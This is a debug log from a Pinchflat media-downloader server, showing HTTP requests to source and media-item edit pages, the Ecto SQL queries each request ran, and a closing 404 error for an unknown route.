m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5174] 15:35:04.538 [debug] QUERY OK source="settings" db=0.1ms idle=498.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:04.539 [debug] QUERY OK source="settings" db=0.0ms idle=498.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:04.539 [debug] QUERY OK source="settings" db=0.0ms idle=498.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:04.540 [info] Sent 200 in 2ms 15:35:27.949 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:38.240 [info] GET /sources/3/media/5927/edit 15:35:38.240 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5927", "source_id" => "3"} Pipelines: [:browser] 15:35:38.240 [info] GET /sources/3/media/6408/edit 15:35:38.240 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6408", "source_id" => "3"} Pipelines: [:browser] 15:35:38.241 [debug] QUERY OK source="media_items" db=0.4ms idle=1709.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5927] 15:35:38.241 [debug] QUERY OK source="media_items" db=0.3ms idle=1710.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6408] 15:35:38.241 [debug] QUERY OK source="settings" db=0.2ms idle=1411.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.241 [debug] QUERY OK source="settings" db=0.2ms idle=710.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.242 [debug] QUERY OK source="settings" db=0.2ms idle=410.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.242 [debug] QUERY OK source="settings" db=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.242 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.242 [debug] QUERY OK source="settings" db=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.243 [info] Sent 200 in 3ms 15:35:38.243 [info] Sent 200 in 3ms 15:35:38.684 [info] GET /sources/3 15:35:38.684 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 15:35:38.685 [debug] QUERY OK source="sources" db=0.2ms idle=443.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:35:38.685 [debug] QUERY OK source="media_profiles" db=0.1ms idle=443.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:35:38.686 [debug] QUERY OK source="tasks" db=1.2ms idle=443.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 15:35:38.687 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=444.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1741] 15:35:38.687 [debug] QUERY OK source="settings" db=0.1ms idle=444.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.687 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.688 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:38.689 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:35:38.694 [debug] QUERY OK source="media_items" db=4.7ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:35:38.696 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=6.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:35:38.696 [debug] QUERY OK source="sources" db=0.1ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:35:38.697 [debug] QUERY OK source="media_items" db=0.2ms idle=8.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 15:35:38.698 [debug] QUERY OK source="media_items" db=1.1ms idle=8.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:35:38.699 [debug] QUERY OK source="sources" db=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:35:38.699 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 15:35:38.701 [debug] QUERY OK source="media_items" db=1.4ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:35:38.702 [info] Sent 200 in 18ms 15:35:39.183 [info] GET /sources/3/media/3222/edit 15:35:39.183 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3222", "source_id" => "3"} Pipelines: [:browser] 15:35:39.184 [debug] QUERY OK source="media_items" db=0.2ms idle=485.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3222] 15:35:39.184 [debug] QUERY OK source="settings" db=0.1ms idle=485.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:39.184 [debug] QUERY OK source="settings" db=0.0ms idle=484.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:39.185 [debug] QUERY OK source="settings" db=0.1ms idle=483.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:39.186 [info] Sent 200 in 2ms 15:35:41.944 [info] GET /sources/new 15:35:41.944 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 15:35:41.945 [debug] QUERY OK source="sources" db=0.1ms idle=1414.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:35:41.945 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1414.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:35:41.945 [debug] QUERY OK source="settings" db=0.1ms idle=1415.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:41.946 [debug] QUERY OK source="settings" db=0.1ms idle=1111.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:41.946 [debug] QUERY OK source="settings" db=0.1ms idle=110.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:41.946 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:41.947 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:41.949 [info] Sent 200 in 4ms 15:35:42.107 [info] GET /sources/3/media/3223/edit 15:35:42.107 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3223", "source_id" => "3"} Pipelines: [:browser] 15:35:42.107 [debug] QUERY OK source="media_items" db=0.1ms idle=161.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3223] 15:35:42.108 [debug] QUERY OK source="settings" db=0.1ms idle=161.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.108 [debug] QUERY OK source="settings" db=0.0ms idle=162.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.108 [debug] QUERY OK source="settings" db=0.1ms idle=161.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.109 [info] Sent 200 in 2ms 15:35:42.607 [info] GET /sources/new 15:35:42.607 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 15:35:42.608 [debug] QUERY OK source="sources" db=0.2ms idle=660.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:35:42.608 [debug] QUERY OK source="media_profiles" db=0.1ms idle=500.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:35:42.609 [debug] QUERY OK source="settings" db=0.1ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.609 [debug] QUERY OK source="settings" db=0.1ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.609 [debug] QUERY OK source="settings" db=0.0ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.610 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.610 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:42.612 [info] Sent 200 in 4ms 15:35:43.109 [info] GET /sources/3/force_download_pending 15:35:43.110 [debug] QUERY OK source="settings" db=0.2ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:43.110 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:43.110 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:35:43.111 [error] #PID<0.35973.0> running PinchflatWeb.Endpoint (connection #PID<0.35965.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/force_download_pending ** 